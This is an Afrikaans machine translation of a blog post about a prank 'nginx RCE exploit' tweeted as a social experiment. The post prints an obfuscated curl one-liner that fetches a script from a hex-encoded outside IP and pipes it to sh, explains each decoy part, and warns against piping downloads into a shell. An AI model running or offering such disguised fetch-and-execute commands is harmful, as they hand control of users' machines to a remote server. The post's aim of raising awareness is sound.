Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx

Let wel. vertaal.: Skrywer van die oorspronklike nota, gepubliseer op 1 Junie, het besluit om 'n eksperiment uit te voer onder diegene wat belangstel in inligtingsekuriteit. Om dit te doen, het hy 'n vals uitbuiting voorberei vir 'n onbekende kwesbaarheid in 'n webbediener en dit op sy Twitter geplaas. Sy aannames dat hy onmiddellik deur kundiges ontken word wat die ooglopende kullery in die kode sou sien, het nie net waar geword nie ... Hulle het alle verwagtinge oortref, en in die teenoorgestelde rigting: die twiet het groot ondersteuning ontvang van talle mense wat nie die inhoud daarvan nagegaan het nie .

Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx

TL;DR: gebruik nooit lêerpypleiding in sh of bash nie. Dit is 'n goeie manier om beheer oor jou rekenaar te verloor.

Ek wil 'n klein storie met jou deel oor 'n grap PoC-ontginning wat op 31 Mei geskep is. Hy het dadelik verskyn in reaksie op nuus van Alisa Esage Shevchenko, lid Nuldag-inisiatief (ZDI) dat 'n kwesbaarheid in NGINX wat lei tot RCE (Remote Code Execution) binnekort bekend gemaak sal word. Aangesien NGINX die kern van baie webwerwe is, moes die nuus 'n bom gewees het. Maar as gevolg van vertragings in die "verantwoordelike openbaarmaking"-proses, was die besonderhede van wat gebeur het nie bekend nie - dit is die standaard ZDI-prosedure.

Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx
tweet oor kwesbaarheid openbaarmaking in NGINX

Nadat ek werk aan die nuwe verduistering-tegniek in krul voltooi het, het ek die oorspronklike tweet aangehaal en "'n werkende PoC uitgelek" wat bestaan ​​uit 'n enkele reël kode, wat vermoedelik die ontdekte kwesbaarheid uitgebuit het. Dit was natuurlik volslae onsin. Ek het gedink dat ek dadelik na skoon water geneem sou word, en dat ek op sy beste 'n paar retweets sou kry (wel, oukei).

Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx
tweet met vals uitbuiting

Ek kon egter nie dink wat volgende gebeur het nie. Die gewildheid van my tweet het die hoogte ingeskiet. Verbasend genoeg het min mense op die oomblik (15:00 Moskou-tyd op 1 Junie) besef dat dit 'n vervalsing is. Baie retweet dit sonder om dit enigsins na te gaan (om nie eers te praat van die pragtige ASCII-grafika wat dit weergee nie).

Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx
Kyk net hoe pragtig!

Alhoewel al hierdie siklusse en kleure wonderlik is, is dit verstaanbaar: om dit te sien, het mense kode op hul masjien uitgevoer. Gelukkig werk blaaiers op dieselfde manier, en gekombineer met die feit dat ek nie met die wet in die moeilikheid wil kom nie, het die kode wat op my webwerf versteek is, net eggo-oproepe gemaak sonder om enige bykomende kode te probeer installeer of uit te voer.

Klein afwyking: net spookagtig, dnz, ek en ander ouens van die span Boewery Ons speel nou al 'n rukkie met krulverduistering omdat dit lekker is... en ons is geeks. netspooky en dnz het verskeie nuwe maniere ontdek wat ek uiters belowend vind. Ek het deelgeneem aan die pret en probeer om IP-desimale omskakelings by die truuks te voeg. Dit het geblyk dat IP ook na heksadesimale formaat omgeskakel kan word. Wat meer is, krul en die meeste ander NIX-instrumente eet graag hex-IP's! Die vereiste was dus bloot om 'n oortuigende en veilig lyk opdragreël te skep. Ek het uiteindelik op hierdie een besluit:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosiale Elektroniese Ingenieurswese (SEE) - meer as net uitvissing

Veiligheid en vertroudheid was 'n groot deel van hierdie eksperiment. Ek dink dit is hulle wat tot sy sukses gelei het. Die opdragreël het duidelik sekuriteit geïmpliseer, met verwysing na "127.0.0.1" (die bekende plaaslike gasheer). Daar word geglo dat localhost veilig is, en die data daarop verlaat nooit jou rekenaar nie.

Gewenning was die tweede sleutel SEE-komponent van die eksperiment. Aangesien die teikengehoor hoofsaaklik saamgestel is uit mense wat vertroud was met die basiese beginsels van rekenaarsekuriteit, was dit belangrik om so kode te skep dat dele daarvan bekend en bekend (en dus veilig) gelyk het. Om elemente van ou ontginningskonsepte te leen en dit op 'n ongewone manier te kombineer, was baie suksesvol.

Hieronder is 'n gedetailleerde uiteensetting van die eenlyner. Alles op hierdie lys is kosmetiese, en vir sy werklike werk is feitlik niks nodig nie.

Watter komponente is regtig nodig? Hierdie -gsS, -O 0x0238f06a, |sh en die webbediener self. Die webbediener het geen kwaadwillige instruksies bevat nie, maar het bloot ASCII-grafika deur opdragte geslaag echo in die skrif vervat in index.html. Wanneer die gebruiker 'n string invoer met |sh in die middel, index.html gelaai en uitgevoer. Gelukkig het die webbedienerhouers geen kwaadwillige bedoeling gehad nie.

  • ../../../%00 — beeld verder as die gids uit;
  • ngx_stream_module.so - pad na 'n ewekansige NGINX-module;
  • /bin/sh%00<'protocol:TCP' - ons begin glo /bin/sh op die teikenmasjien en herlei die uitset na die TCP-kanaal;
  • -O 0x0238f06a#PLToffset - geheime bestanddeel bygevoeg #PLToffsetom te lyk soos 'n geheue-offset wat op een of ander manier in die PLT vervat is;
  • |sh; is nog 'n belangrike stuk. Ons moes uitvoer na sh/bash herlei om kode uit te voer wat van die aanvallende webbediener geleë is by 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - 'n dummy waarna netcat verwys /dev/tcp/localhostom alles weer veilig te laat lyk. Trouens, dit doen niks en is ingesluit in die lyn vir skoonheid.

Dit sluit die dekodering van die eenreëlskrif en die bespreking van aspekte van "sosio-elektroniese ingenieurswese" (fancy phishing) af.

Webbedienerkonfigurasie en teenmaatreëls

Aangesien die oorgrote meerderheid van my intekenare infosecure/hackers is, het ek besluit om die webbediener 'n bietjie meer bestand te maak teen manifestasies van "belangstelling" van hulle, net sodat die ouens iets het om te doen (en dit was pret om dit te stel). op). Ek gaan nie al die slaggate hier lys nie, aangesien die eksperiment steeds aan die gang is, maar hier is 'n paar dinge wat die bediener doen:

  • Monitor verspreidingspogings op sekere sosiale netwerke aktief en vervang verskeie voorskou-kleinkiekies om die gebruiker aan te moedig om op die skakel te klik.
  • Herlei Chrome/Mozilla/Safari/ens na 'n Thugcrowd-promosie in plaas daarvan om 'n dopskrif te wys.
  • Soek DUIDELIKE tekens van indringing/brute-force inbraak en begin dan versoeke na NSA-bedieners herlei (ha!).
  • Installeer 'n Trojaan en 'n BIOS rootkit op alle rekenaars wie se gebruikers die gasheer met 'n normale blaaier besoek (net 'n grap!).

Die sukses van 'n sosiale eksperiment met 'n vals uitbuiting vir nginx
'n Klein deel van antire

In hierdie geval was my enigste doelwit om sommige van Apache se kenmerke te leer - veral die koel versoekherleidingreëls - en ek het gedink, hoekom nie?

NGINX-ontginning (werklik!)

Teken in op @alisaesage op Twitter en volg ZDI se wonderlike werk om baie werklike kwesbaarhede reg te stel en geleenthede in NGINX te ontgin. Hulle werk het my nog altyd gefassineer en ek is dankbaar teenoor Alice vir haar geduld met al die meldings en kennisgewings wat my dom twiet veroorsaak het. Gelukkig het dit ook goed gedoen: dit het gehelp om bewustheid te verhoog oor NGINX-kwesbaarhede sowel as probleme wat veroorsaak word deur misbruik van krul.

Bron: will.com

Voeg 'n opmerking